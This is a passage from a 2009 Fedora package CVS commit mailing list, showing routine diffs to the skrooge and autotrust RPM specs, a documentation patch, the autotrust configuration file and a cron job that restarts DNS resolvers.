+%{_kde4_libdir}/lib*.so.*
 
 %changelog
+* Wed Oct 14 2009 Rex Dieter <rdieter at fedoraproject.org> 0.5.2-2
+- (HTML) docs patch, use %%find_lang --with-kde
+- own %%{_kde4_appsdir}/skrooge*/ dirs
+- %check: omit extraneous desktop-file-validate's
+
 * Thu Oct 08 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.5.2-1
 - Changed to final 0.5.2 version
 - Bugfixes, including a nasty bug where one thinks the data is gone



From thomasj at fedoraproject.org  Wed Oct 14 16:20:30 2009
From: thomasj at fedoraproject.org (thomasj)
Date: Wed, 14 Oct 2009 16:20:30 +0000 (UTC)
Subject: rpms/skrooge/F-12 skrooge-0.5.2-docs.patch,NONE,1.1
Message-ID: <20091014162030.3673C11C029F@cvs1.fedora.phx.redhat.com>

Author: thomasj

Update of /cvs/pkgs/rpms/skrooge/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16216

Added Files:
	skrooge-0.5.2-docs.patch 
Log Message:
skrooge-0.5.2-docs.patch added again


skrooge-0.5.2-docs.patch:
 CMakeLists.txt |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE skrooge-0.5.2-docs.patch ---
diff -up skrooge-0.5.2/doc/CMakeLists.txt.docs skrooge-0.5.2/doc/CMakeLists.txt
--- skrooge-0.5.2/doc/CMakeLists.txt.docs	2009-10-04 09:13:16.000000000 -0500
+++ skrooge-0.5.2/doc/CMakeLists.txt	2009-10-14 09:26:30.731528095 -0500
@@ -1 +1 @@
-kde4_create_handbook(index.docbook INSTALL_DESTINATION ${HTML_INSTALL_DIR}/en)
+kde4_create_handbook(index.docbook INSTALL_DESTINATION ${HTML_INSTALL_DIR}/en SUBDIR skrooge)



From thomasj at fedoraproject.org  Wed Oct 14 16:28:44 2009
From: thomasj at fedoraproject.org (thomasj)
Date: Wed, 14 Oct 2009 16:28:44 +0000 (UTC)
Subject: rpms/skrooge/F-11 skrooge-0.5.2-docs.patch, NONE, 1.1 skrooge.spec, 
	1.4, 1.5
Message-ID: <20091014162844.93DDB11C00E5@cvs1.fedora.phx.redhat.com>

Author: thomasj

Update of /cvs/pkgs/rpms/skrooge/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18696

Modified Files:
	skrooge.spec 
Added Files:
	skrooge-0.5.2-docs.patch 
Log Message:
Wed Oct 14 2009 Rex Dieter <rdieter at fedoraproject.org> 0.5.2-2
(HTML) docs patch, use %%find_lang --with-kde
own %%{_kde4_appsdir}/skrooge*/ dirs
%check: omit extraneous desktop-file-validate's


skrooge-0.5.2-docs.patch:
 CMakeLists.txt |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE skrooge-0.5.2-docs.patch ---
diff -up skrooge-0.5.2/doc/CMakeLists.txt.docs skrooge-0.5.2/doc/CMakeLists.txt
--- skrooge-0.5.2/doc/CMakeLists.txt.docs	2009-10-04 09:13:16.000000000 -0500
+++ skrooge-0.5.2/doc/CMakeLists.txt	2009-10-14 09:26:30.731528095 -0500
@@ -1 +1 @@
-kde4_create_handbook(index.docbook INSTALL_DESTINATION ${HTML_INSTALL_DIR}/en)
+kde4_create_handbook(index.docbook INSTALL_DESTINATION ${HTML_INSTALL_DIR}/en SUBDIR skrooge)


Index: skrooge.spec
===================================================================
RCS file: /cvs/pkgs/rpms/skrooge/F-11/skrooge.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- skrooge.spec	8 Oct 2009 20:31:58 -0000	1.4
+++ skrooge.spec	14 Oct 2009 16:28:44 -0000	1.5
@@ -1,6 +1,6 @@
 Name:           skrooge
 Version:        0.5.2
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        Personal finances manager
 
 Group:          Applications/Productivity
@@ -9,6 +9,8 @@ URL:            http://extragear.kde.org
 Source0:        http://websvn.kde.org/*checkout*/tags/skrooge/%{version}/skrooge-%{version}.tar.gz
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
+## upstream patches
+Patch100: skrooge-0.5.2-docs.patch
 
 BuildRequires:  qca2-devel
 BuildRequires:  libofx-devel
@@ -40,6 +42,8 @@ Skrooge libraries
 %prep
 %setup -q
 
+%patch100 -p1 -b .docs
+
 ## remove executable bits from skrooge-0.5.2/skrooge_search/skgalarmboardwidget.h
 chmod -x skrooge_search/skgalarmboardwidget.h
 
@@ -55,7 +59,7 @@ make %{?_smp_mflags} -C %{_target_platfo
 %install
 rm -rf %{buildroot}
 make install/fast -C %{_target_platform} DESTDIR=%{buildroot}
-%find_lang %{name}
+%find_lang %{name} --with-kde
 
 # hack to support non-oxygen icon users (gnome), drop when/if skrooge
 # ever provides hicolor icons (too).
@@ -73,11 +77,7 @@ rm -f %{buildroot}%{_kde4_libdir}/kde4/p
 rm -rf %{buildroot}
 
 %check
-for i in %{buildroot}%{_kde4_datadir}/kde4/services/*desktop ;  do 
-    desktop-file-validate $i ; 
-done
 desktop-file-validate %{buildroot}%{_kde4_datadir}/applications/kde4/skrooge.desktop
-desktop-file-validate %{buildroot}%{_kde4_datadir}/kde4/servicetypes/skrooge-plugin.desktop
 
 %post libs -p /sbin/ldconfig
 
@@ -106,29 +106,24 @@ update-mime-database %{_kde4_datadir}/mi
 %{_kde4_bindir}/skrooge
 %{_kde4_datadir}/applications/kde4/skrooge.desktop
 %{_kde4_datadir}/config.kcfg/*.kcfg
-%{_kde4_docdir}/HTML/en/doc/*
-%{_kde4_docdir}/HTML/sv/%{name}/*
-%{_kde4_docdir}/HTML/uk/%{name}/*
 %{_kde4_iconsdir}/hicolor/*/*/*
-%{_kde4_appsdir}/skrooge/css/skrooge_monthly-default.css
-%{_kde4_appsdir}/skrooge/images/*/*
-%{_kde4_appsdir}/skrooge/resources/*
-%{_kde4_appsdir}/skrooge/theme/default.css
-%{_kde4_appsdir}/skrooge_*/*
+%{_kde4_appsdir}/skrooge*/
 %{_kde4_datadir}/kde4/services/*.desktop
 %{_kde4_datadir}/kde4/servicetypes/skrooge-plugin.desktop
 %{_kde4_datadir}/mime/packages/x-skg.xml
-%{_kde4_appsdir}/skrooge/images/splash.png
-%{_kde4_appsdir}/skrooge/skrooge.notifyrc
-%{_kde4_appsdir}/skrooge/skrooge.rc
 
 %files libs
 %defattr(-,root,root,-)
-%{_kde4_libdir}/kde4/plugins/designer/*.so*
+%{_kde4_libdir}/kde4/plugins/designer/*.so.*
 %{_kde4_libdir}/kde4/*.so
-%{_kde4_libdir}/*.so*
+%{_kde4_libdir}/lib*.so.*
 
 %changelog
+* Wed Oct 14 2009 Rex Dieter <rdieter at fedoraproject.org> 0.5.2-2
+- (HTML) docs patch, use %%find_lang --with-kde
+- own %%{_kde4_appsdir}/skrooge*/ dirs
+- %check: omit extraneous desktop-file-validate's
+
 * Thu Oct 08 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.5.2-1
 - Changed to final 0.5.2 version
 - Bugfixes, including a nasty bug where one thinks the data is gone



From pwouters at fedoraproject.org  Wed Oct 14 16:39:44 2009
From: pwouters at fedoraproject.org (Paul Wouters)
Date: Wed, 14 Oct 2009 16:39:44 +0000 (UTC)
Subject: rpms/autotrust/devel .cvsignore, 1.2, 1.3 autotrust.conf, 1.1,
	1.2 autotrust.cron, 1.1, 1.2 autotrust.spec, 1.4, 1.5 sources,
	1.2, 1.3
Message-ID: <20091014163944.EF82A11C00E5@cvs1.fedora.phx.redhat.com>

Author: pwouters

Update of /cvs/extras/rpms/autotrust/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20313

Modified Files:
	.cvsignore autotrust.conf autotrust.cron autotrust.spec 
	sources 
Log Message:
* Wed Oct 14 2009 Paul Wouters <paul at xelerance.com> - 0.3.1-1
- Updated to autotrust 0.3.1
- Try restarting running nameservers from the autotrust cron job
- Use the "named" version generated by dnssec-configure as trust anchor includes



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/autotrust/devel/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	24 Jan 2009 00:29:35 -0000	1.2
+++ .cvsignore	14 Oct 2009 16:39:44 -0000	1.3
@@ -1 +1,2 @@
 autotrust-0.2.1rc1.tar.gz
+autotrust-0.3.1.tar.gz


Index: autotrust.conf
===================================================================
RCS file: /cvs/extras/rpms/autotrust/devel/autotrust.conf,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- autotrust.conf	24 Jan 2009 00:29:35 -0000	1.1
+++ autotrust.conf	14 Oct 2009 16:39:44 -0000	1.2
@@ -1,95 +1,122 @@
+# include another configfile, so you can split up configuration settings.
+# for example, you can store your dynamica trust anchor configuration in 
+# a file called keys.conf.
+# include: "keys.conf"
+
 # program configuration
 config:
 	# directory to go to for performing autotrust.
 	# by default, autotrust will store files in the current directory.
-	working-dir:		"/var/lib/autotrust"
+	working-dir: "/var/lib/autotrust"
 
 	# where to find the root-hints. 
 	# by default, autotrust uses builtin root hints from libunbound.
-	# root-hints:		"/etc/named.root"
+	# root-hints:			"/etc/named.root"
 
-	# where to log messages. 
-	# by default, logs will be outputted to stderr.
-	log-file:		"/var/log/autotrust.log"
-
-	# where to store state information for trust anchors. 
-	# by default, state information is stored in a file autotrust.state in 
-	# the working directory.
-	state-file:		"/var/lib/autotrust/autotrust.state" 
+	# where to log messages. by default, logs will be outputted to
+	# @logfile at .
+	# If no log-file is given, stderr is used.
+	log-file: "/var/log/autotrust.log"
+
+	# whether to use syslog as logging device. not default.
+	# if set to "yes", the log-file option will be ignored.
+	# use-syslog:			"no"
+
+	# where to store the pid. by default, the pidfile is set to 
+	# @pidfile at .
+	# the pidfile is only used if autotrust runs as daemon.
+	pid-file: "/var/run/autotrust.pid"
+
+	# where to store trust anchor state. by default, it is stored in
+	# @statefile at .
+	state-file: "/var/lib/autotrust/autotrust.state"
 
-	# where to find the the trust anchors (that can be used for Unbound).
+	# where to find the the trust anchors (these can be used for Unbound).
 	# trust-anchor-file:	"trust-anchor.file"
 
-	# where to find the the trust anchors (that can be used for 
+	# where to find the the trust anchors (these can be used for 
 	# BIND9 and Unbound). you can also put your BIND configuration file 
 	# here, though it is recommended to solely put the trusted-keys clause 
 	# in this file and include it in your actual BIND configuration file.
-	trusted-keys-file:	"/etc/pki/dnssec-keys/production.conf"
+	trusted-keys-file:      "/etc/pki/dnssec-keys/named.dnssec.keys"
+	#trusted-keys-file:      "/etc/pki/dnssec-keys/production/*.conf"
+	#trusted-keys-file:      "/etc/pki/dnssec-keys/production/reverse/*.conf"
 
 	# what resolv.conf file to use. 
 	# by default, autotrust doesn't use configured nameservers, but queries 
-	# for the answers himself. By providing your resolver configuration, the
+	# for the answers himself. By providing your resolver configuration, the 
 	# program will run much faster.
-	# resolv-conf:		"/etc/resolv.conf"
+	# resolv-conf:			"/etc/resolv.conf"
 
-	# by default, autotrust makes use of both ipv4 and ipv6. 
-	# setting one of these options to "yes" eliminates the use of the other 
-	# protocol version.
-	# ipv4-only:		"no"
-	# ipv6-only:		"no"
+	# by default, autotrust makes use of both ipv4 and ipv6. setting one of 
+	# these options to "no" eliminates the use of the that protocol version. 
+	# do-ip4: 				"yes"
+	# do-ip6: 				"yes"
 
 	# specify the time when a trust anchor may be added.
 	# by default, add holddown time is 30 days.
-	# add-holddown:		2592000 # 30 days
+	# STRONGLY RECOMMENDED VALUE: 30days or higher
+	# add-holddown:			2592000 # 30 days
 
 	# specify the time when a trust anchor may be removed.
 	# by default, del holddown time is 30 days.
-	# del-holddown:		2592000 # 30 days
+	# STRONGLY RECOMMENDED VALUE: 30days or higher
+	# del-holddown:			2592000 # 30 days
 
 	# how many times must a pending trust anchor be seen, before adding it 
 	# to the valid trust anchor set. by default, 2 times.
 	# STRONGLY RECOMMENDED VALUE: 2 or higher
-	# pending-count:	2
+	# pending-count:		2
 
 	# keep trust anchors with the START state in the state information file.
 	# by default, trust anchors in the state START are not stored.
-	# keep-start:		"no"
+	# keep-start:			"no"
 
 	# keep trust anchors with the REMOVED state in the state information.
 	# by default, trust anchors in the state REMOVED are not stored.
-	# keep-removed:		"no"
+	# keep-removed:			"no"
+
+	# Fedora/EPEL: nameservers are restarted via the autostart.cron job
+	# instead of via resolver-pidfile/resolver-reload
 
 	# the pidfile that stores the process id of your resolver.
 	# by default, autotrust does not know about your resolver and will not 
-	# signal resolvers.
-	# resolver-pidfile:		"/var/run/named/named.pid"
-	resolver-pidfile: "/var/run/unbound/unbound.pid /var/run/named/named.pid"
+	# signal resolvers. You may configure multiple resolver pidfiles.
+	# resolver-pidfile: "/var/run/unbound/unbound.pid"
+	# resolver-pidfile: "/var/run/named/named.pid"
+
+	# you may also specify the reload command to be executed.
+	# resolver-reload:		"unbound-control reload"
+	# resolver-reload:		"rndc reload"
 
 	# if you use Unbound, you can specify the Undbound configuration 
 	# here, so that autotrust uses the same configuration. This option was 
 	# built in for debugging purposes (to configure stub zones), and is 
 	# considered experimental.
-	unbound-conf:		"/etc/unbound/unbound.conf"
-
+	unbound-conf:			"/etc/unbound/unbound.conf"
+	
 	# specify the time when a missing trust anchor may not be used 
 	# as valid trust anchor anymore. If keep-missing is 0, missing keys 
 	# are never removed (unless revoked), which is the default.
 	# STRONGLY RECOMMENDED VALUE: 0, or 1year or higher
-	# keep-missing:		31536000 # 1 year
+	# keep-missing:			31536000 # 1 year
 
 	# log if keys gone missing, regardless of the used verbosity level.
 	# on by default.
-	# alert-missing:	"yes"
+	# alert-missing:		"yes"
+
+	# run autotrust as daemon. By default "no".
+	# daemonize:			"no"
 
 	# if you have a superior trust point configured, the subordinate trust 
 	# anchors will be removed after 180 days after the superior trust point 
 	# was introduced. by default, this option is disabled, you may enable it 
 	# by setting 'superior-trust' to "yes".
 	# THIS OPTION IS NOT IMPLEMENTED YET
-	# superior-trust:	"yes"
+	# superior-trust:		"no"
 
 	# set the level of verbosity. default it it set to 1. the higher this 
 	# number, the more log messages you will get. if you want no 
 	# output at all, set verbosity to 0 (you will log only error and 
 	# warning messages).
-	# verbosity:		1
+	# verbosity:			1


Index: autotrust.cron
===================================================================
RCS file: /cvs/extras/rpms/autotrust/devel/autotrust.cron,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- autotrust.cron	24 Jan 2009 00:29:35 -0000	1.1
+++ autotrust.cron	14 Oct 2009 16:39:44 -0000	1.2
@@ -2,3 +2,7 @@
 
 # Check for updated and revoked  DNSKEY trust anchors daily
 /usr/sbin/autotrust
+# lets try and restart (caching) nameservers ourselves, it produces
+# less errors then when autotrust attempts this.
+/sbin/service unbound try-restart
+/sbin/service named try-restart


Index: autotrust.spec
===================================================================
RCS file: /cvs/extras/rpms/autotrust/devel/autotrust.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- autotrust.spec	24 Jul 2009 17:40:05 -0000	1.4
+++ autotrust.spec	14 Oct 2009 16:39:44 -0000	1.5
@@ -1,19 +1,16 @@
-%define prever rc1
-%define VERSION %{version}%{prever}
-
 Summary: DNSKEY trust anchor update utility that uses RFC-5011
 Name: autotrust
-Version: 0.2.1
-Release: 0.5.%{prever}%{?dist}
+Version: 0.3.1
+Release: 1%{?dist}
 License: BSD
 Url: http://www.nlnetlabs.nl/%{name}/
-Source: http://www.nlnetlabs.nl/downloads/%{name}-%{VERSION}.tar.gz
+Source: http://www.nlnetlabs.nl/downloads/%{name}-%{version}.tar.gz
 Source1: autotrust.conf
 Source2: autotrust.cron
 Group: System Environment/Libraries
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires: ldns-devel >= 1.3.0, unbound-devel >= 1.0.0
-Requires: anacron
+Requires: anacron, dnssec-conf
 
 %description
 autotrust takes care of keeping your DNSSEC trust anchors up to date. It
@@ -22,7 +19,7 @@ autotrust is meant to run from commandli
 follow the values recommended by RFC5011, autotrust should run as daemon. 
 
 %prep
-%setup -q -n autotrust-%{VERSION}
+%setup -q
 
 %build
 %configure --disable-rpath 
@@ -37,6 +34,7 @@ mkdir -p %{buildroot}%{_localstatedir}/l
 mkdir -p %{buildroot}%{_sysconfdir}/cron.daily/
 install -m 644 %{SOURCE1} %{buildroot}%{_sysconfdir}/%{name}/
 install -m 755 %{SOURCE2} %{buildroot}%{_sysconfdir}/cron.daily/autotrust
+rm %{buildroot}%{_sysconfdir}/%{name}/autotrust.conf.sample
 
 %clean
 rm -rf %{buildroot}
@@ -52,6 +50,11 @@ rm -rf %{buildroot}
 %attr(0755,root,root) %{_sysconfdir}/cron.daily/autotrust
 
 %changelog
+* Wed Oct 14 2009 Paul Wouters <paul at xelerance.com> - 0.3.1-1
+- Updated to autotrust 0.3.1
+- Try restarting running nameservers from the autotrust cron job
+- Use the "named" version generated by dnssec-configure as trust anchor includes
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.2.1-0.5.rc1
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/autotrust/devel/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	24 Jan 2009 00:29:35 -0000	1.2
+++ sources	14 Oct 2009 16:39:44 -0000	1.3
@@ -1 +1,2 @@
 663254fbd41176e3b13952bffd49a21c  autotrust-0.2.1rc1.tar.gz
+ff0177aa0df8c645829fc26de2ac0b54  autotrust-0.3.1.tar.gz



From pwouters at fedoraproject.org  Wed Oct 14 16:51:17 2009
From: pwouters at fedoraproject.org (Paul Wouters)
Date: Wed, 14 Oct 2009 16:51:17 +0000 (UTC)
Subject: rpms/autotrust/F-12 .cvsignore, 1.2, 1.3 autotrust.conf, 1.1,
	1.2 autotrust.cron, 1.1, 1.2 autotrust.spec, 1.4, 1.5 sources,
	1.2, 1.3
Message-ID: <20091014165117.6BD3C11C00E5@cvs1.fedora.phx.redhat.com>

Author: pwouters

Update of /cvs/extras/rpms/autotrust/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22775

Modified Files:
	.cvsignore autotrust.conf autotrust.cron autotrust.spec 
	sources 
Log Message:
* Wed Oct 14 2009 Paul Wouters <paul at xelerance.com> - 0.3.1-1
- Updated to autotrust 0.3.1
- Try restarting running nameservers from the autotrust cron job
- Use the "named" version generated by dnssec-configure as trust anchor includes



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/autotrust/F-12/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	24 Jan 2009 00:29:35 -0000	1.2
+++ .cvsignore	14 Oct 2009 16:51:17 -0000	1.3
@@ -1 +1,2 @@
 autotrust-0.2.1rc1.tar.gz
+autotrust-0.3.1.tar.gz


Index: autotrust.conf
===================================================================
RCS file: /cvs/extras/rpms/autotrust/F-12/autotrust.conf,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- autotrust.conf	24 Jan 2009 00:29:35 -0000	1.1
+++ autotrust.conf	14 Oct 2009 16:51:17 -0000	1.2
@@ -1,95 +1,122 @@
+# include another configfile, so you can split up configuration settings.
+# for example, you can store your dynamica trust anchor configuration in 
+# a file called keys.conf.
+# include: "keys.conf"
+
 # program configuration
 config:
 	# directory to go to for performing autotrust.
 	# by default, autotrust will store files in the current directory.
-	working-dir:		"/var/lib/autotrust"
+	working-dir: "/var/lib/autotrust"
 
 	# where to find the root-hints. 
 	# by default, autotrust uses builtin root hints from libunbound.
-	# root-hints:		"/etc/named.root"
+	# root-hints:			"/etc/named.root"
 
-	# where to log messages. 
-	# by default, logs will be outputted to stderr.
-	log-file:		"/var/log/autotrust.log"
-
-	# where to store state information for trust anchors. 
-	# by default, state information is stored in a file autotrust.state in 
-	# the working directory.
-	state-file:		"/var/lib/autotrust/autotrust.state" 
+	# where to log messages. by default, logs will be outputted to
+	# @logfile at .
+	# If no log-file is given, stderr is used.
+	log-file: "/var/log/autotrust.log"
+
+	# whether to use syslog as logging device. not default.
+	# if set to "yes", the log-file option will be ignored.
+	# use-syslog:			"no"
+
+	# where to store the pid. by default, the pidfile is set to 
+	# @pidfile at .
+	# the pidfile is only used if autotrust runs as daemon.
+	pid-file: "/var/run/autotrust.pid"
+
+	# where to store trust anchor state. by default, it is stored in
+	# @statefile at .
+	state-file: "/var/lib/autotrust/autotrust.state"
 
-	# where to find the the trust anchors (that can be used for Unbound).
+	# where to find the the trust anchors (these can be used for Unbound).
 	# trust-anchor-file:	"trust-anchor.file"
 
-	# where to find the the trust anchors (that can be used for 
+	# where to find the the trust anchors (these can be used for 
 	# BIND9 and Unbound). you can also put your BIND configuration file 
 	# here, though it is recommended to solely put the trusted-keys clause 
 	# in this file and include it in your actual BIND configuration file.
-	trusted-keys-file:	"/etc/pki/dnssec-keys/production.conf"
+	trusted-keys-file:      "/etc/pki/dnssec-keys/named.dnssec.keys"
+	#trusted-keys-file:      "/etc/pki/dnssec-keys/production/*.conf"
+	#trusted-keys-file:      "/etc/pki/dnssec-keys/production/reverse/*.conf"
 
 	# what resolv.conf file to use. 
 	# by default, autotrust doesn't use configured nameservers, but queries 
-	# for the answers himself. By providing your resolver configuration, the
+	# for the answers himself. By providing your resolver configuration, the 
 	# program will run much faster.
-	# resolv-conf:		"/etc/resolv.conf"
+	# resolv-conf:			"/etc/resolv.conf"
 
-	# by default, autotrust makes use of both ipv4 and ipv6. 
-	# setting one of these options to "yes" eliminates the use of the other 
-	# protocol version.
-	# ipv4-only:		"no"
-	# ipv6-only:		"no"
+	# by default, autotrust makes use of both ipv4 and ipv6. setting one of 
+	# these options to "no" eliminates the use of the that protocol version. 
+	# do-ip4: 				"yes"
+	# do-ip6: 				"yes"
 
 	# specify the time when a trust anchor may be added.
 	# by default, add holddown time is 30 days.
-	# add-holddown:		2592000 # 30 days
+	# STRONGLY RECOMMENDED VALUE: 30days or higher
+	# add-holddown:			2592000 # 30 days
 
 	# specify the time when a trust anchor may be removed.
 	# by default, del holddown time is 30 days.
-	# del-holddown:		2592000 # 30 days
+	# STRONGLY RECOMMENDED VALUE: 30days or higher
+	# del-holddown:			2592000 # 30 days
 
 	# how many times must a pending trust anchor be seen, before adding it 
 	# to the valid trust anchor set. by default, 2 times.
 	# STRONGLY RECOMMENDED VALUE: 2 or higher
-	# pending-count:	2
+	# pending-count:		2
 
 	# keep trust anchors with the START state in the state information file.
 	# by default, trust anchors in the state START are not stored.
-	# keep-start:		"no"
+	# keep-start:			"no"
 
 	# keep trust anchors with the REMOVED state in the state information.
 	# by default, trust anchors in the state REMOVED are not stored.
-	# keep-removed:		"no"
+	# keep-removed:			"no"
+
+	# Fedora/EPEL: nameservers are restarted via the autostart.cron job
+	# instead of via resolver-pidfile/resolver-reload
 
 	# the pidfile that stores the process id of your resolver.
 	# by default, autotrust does not know about your resolver and will not 
-	# signal resolvers.
-	# resolver-pidfile:		"/var/run/named/named.pid"
-	resolver-pidfile: "/var/run/unbound/unbound.pid /var/run/named/named.pid"
+	# signal resolvers. You may configure multiple resolver pidfiles.
+	# resolver-pidfile: "/var/run/unbound/unbound.pid"
+	# resolver-pidfile: "/var/run/named/named.pid"
+
+	# you may also specify the reload command to be executed.
+	# resolver-reload:		"unbound-control reload"
+	# resolver-reload:		"rndc reload"
 
 	# if you use Unbound, you can specify the Undbound configuration 
 	# here, so that autotrust uses the same configuration. This option was 
 	# built in for debugging purposes (to configure stub zones), and is 
 	# considered experimental.
-	unbound-conf:		"/etc/unbound/unbound.conf"
-
+	unbound-conf:			"/etc/unbound/unbound.conf"
+	
 	# specify the time when a missing trust anchor may not be used 
 	# as valid trust anchor anymore. If keep-missing is 0, missing keys 
 	# are never removed (unless revoked), which is the default.
 	# STRONGLY RECOMMENDED VALUE: 0, or 1year or higher
-	# keep-missing:		31536000 # 1 year
+	# keep-missing:			31536000 # 1 year
 
 	# log if keys gone missing, regardless of the used verbosity level.
 	# on by default.
-	# alert-missing:	"yes"
+	# alert-missing:		"yes"
+
+	# run autotrust as daemon. By default "no".
+	# daemonize:			"no"
 
 	# if you have a superior trust point configured, the subordinate trust 
 	# anchors will be removed after 180 days after the superior trust point 
 	# was introduced. by default, this option is disabled, you may enable it 
 	# by setting 'superior-trust' to "yes".
 	# THIS OPTION IS NOT IMPLEMENTED YET
-	# superior-trust:	"yes"
+	# superior-trust:		"no"
 
 	# set the level of verbosity. default it it set to 1. the higher this 
 	# number, the more log messages you will get. if you want no 
 	# output at all, set verbosity to 0 (you will log only error and 
 	# warning messages).
-	# verbosity:		1
+	# verbosity:			1


Index: autotrust.cron
===================================================================
RCS file: /cvs/extras/rpms/autotrust/F-12/autotrust.cron,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- autotrust.cron	24 Jan 2009 00:29:35 -0000	1.1
+++ autotrust.cron	14 Oct 2009 16:51:17 -0000	1.2
@@ -2,3 +2,7 @@
 
 # Check for updated and revoked  DNSKEY trust anchors daily
 /usr/sbin/autotrust
+# lets try and restart (caching) nameservers ourselves, it produces
+# less errors then when autotrust attempts this.
+/sbin/service unbound try-restart
+/sbin/service named try-restart


Index: autotrust.spec
===================================================================
RCS file: /cvs/extras/rpms/autotrust/F-12/autotrust.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- autotrust.spec	24 Jul 2009 17:40:05 -0000	1.4
+++ autotrust.spec	14 Oct 2009 16:51:17 -0000	1.5
@@ -1,19 +1,16 @@
-%define prever rc1
-%define VERSION %{version}%{prever}
-
 Summary: DNSKEY trust anchor update utility that uses RFC-5011
 Name: autotrust
-Version: 0.2.1
-Release: 0.5.%{prever}%{?dist}
+Version: 0.3.1
+Release: 1%{?dist}
 License: BSD
 Url: http://www.nlnetlabs.nl/%{name}/
-Source: http://www.nlnetlabs.nl/downloads/%{name}-%{VERSION}.tar.gz
+Source: http://www.nlnetlabs.nl/downloads/%{name}-%{version}.tar.gz
 Source1: autotrust.conf
 Source2: autotrust.cron
 Group: System Environment/Libraries
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires: ldns-devel >= 1.3.0, unbound-devel >= 1.0.0
-Requires: anacron
+Requires: anacron, dnssec-conf
 
 %description
 autotrust takes care of keeping your DNSSEC trust anchors up to date. It
@@ -22,7 +19,7 @@ autotrust is meant to run from commandli
 follow the values recommended by RFC5011, autotrust should run as daemon. 
 
 %prep
-%setup -q -n autotrust-%{VERSION}
+%setup -q
 
 %build
 %configure --disable-rpath 
@@ -37,6 +34,7 @@ mkdir -p %{buildroot}%{_localstatedir}/l
 mkdir -p %{buildroot}%{_sysconfdir}/cron.daily/
 install -m 644 %{SOURCE1} %{buildroot}%{_sysconfdir}/%{name}/
 install -m 755 %{SOURCE2} %{buildroot}%{_sysconfdir}/cron.daily/autotrust
+rm %{buildroot}%{_sysconfdir}/%{name}/autotrust.conf.sample
 
 %clean
 rm -rf %{buildroot}
@@ -52,6 +50,11 @@ rm -rf %{buildroot}
 %attr(0755,root,root) %{_sysconfdir}/cron.daily/autotrust
 
 %changelog
+* Wed Oct 14 2009 Paul Wouters <paul at xelerance.com> - 0.3.1-1
+- Updated to autotrust 0.3.1
+- Try restarting running nameservers from the autotrust cron job
+- Use the "named" version generated by dnssec-configure as trust anchor includes
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.2.1-0.5.rc1
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/autotrust/F-12/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	24 Jan 2009 00:29:35 -0000	1.2
+++ sources	14 Oct 2009 16:51:17 -0000	1.3
@@ -1 +1,2 @@
 663254fbd41176e3b13952bffd49a21c  autotrust-0.2.1rc1.tar.gz
+ff0177aa0df8c645829fc26de2ac0b54  autotrust-0.3.1.tar.gz



From pwouters at fedoraproject.org  Wed Oct 14 16:52:39 2009
From: pwouters at fedoraproject.org (Paul Wouters)
Date: Wed, 14 Oct 2009 16:52:39 +0000 (UTC)
Subject: rpms/autotrust/F-12 autotrust.spec,1.5,1.6
Message-ID: <20091014165239.E657B11C00E5@cvs1.fedora.phx.redhat.com>

Author: pwouters

Update of /cvs/extras/rpms/autotrust/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22955

Modified Files:
	autotrust.spec 
Log Message:
* Wed Oct 14 2009 Paul Wouters <paul at xelerance.com> - 0.3.1-2
- bump for tag



Index: autotrust.spec
===================================================================
RCS file: /cvs/extras/rpms/autotrust/F-12/autotrust.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- autotrust.spec	14 Oct 2009 16:51:17 -0000	1.5
+++ autotrust.spec	14 Oct 2009 16:52:39 -0000	1.6
@@ -1,7 +1,7 @@
 Summary: DNSKEY trust anchor update utility that uses RFC-5011
 Name: autotrust
 Version: 0.3.1
-Release: 1%{?dist}
+Release: 2%{?dist}
 License: BSD
 Url: http://www.nlnetlabs.nl/%{name}/
 Source: http://www.nlnetlabs.nl/downloads/%{name}-%{version}.tar.gz
@@ -50,6 +50,9 @@ rm -rf %{buildroot}
 %attr(0755,root,root) %{_sysconfdir}/cron.daily/autotrust
 
 %changelog
+* Wed Oct 14 2009 Paul Wouters <paul at xelerance.com> - 0.3.1-2
+- bump for tag
+
 * Wed Oct 14 2009 Paul Wouters <paul at xelerance.com> - 0.3.1-1
